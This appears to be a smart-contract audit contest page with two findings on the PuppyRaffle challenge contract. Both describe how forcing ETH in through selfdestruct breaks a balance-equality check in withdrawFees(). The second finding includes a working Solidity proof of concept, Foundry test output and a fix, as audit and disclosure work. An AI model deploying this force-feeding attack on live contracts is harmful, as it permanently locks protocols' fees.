withdrawFees() treats exact balance equality as proof that no players are active. That invariant is not enforceable: ETH can be forced into any contract through selfdestruct even when it has no payable receive function. After a valid round leaves only protocol fees, an attacker can force 1 wei into the raffle; the balance becomes totalFees + 1 and every withdrawal reverts forever.
The revert message suggests this is a player-state check, but the code actually relies on an externally mutable ETH balance.
Likelihood: High
Any account can deploy a helper funded with 1 wei and force the value into the raffle. The action requires no permission, cooperation from participants, or payable fallback on the target.
Impact: Medium
All legitimately accrued protocol fees become unavailable through withdrawFees(). The surplus does not steal the winner's prize or change the fee recipient, so the primary impact is persistent fee-withdrawal denial of service.
Observed against challenge commit 08e5b1fc6939b8da7792b2d13e43000c519d8897:
The original positive controls testCantWithdrawFeesIfPlayersActive() and testWithdrawFees() also passed; the forced 1 wei is the state change that breaks withdrawal.
Do not infer active-player state from the contract balance. Check the actual state variable and transfer only the accounted fee amount.
Define a separate policy for accidental or forced surplus, but never include that surplus in player-state or fee-accounting invariants. Add a regression test that forces 1 wei and still withdraws exactly totalFees.
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.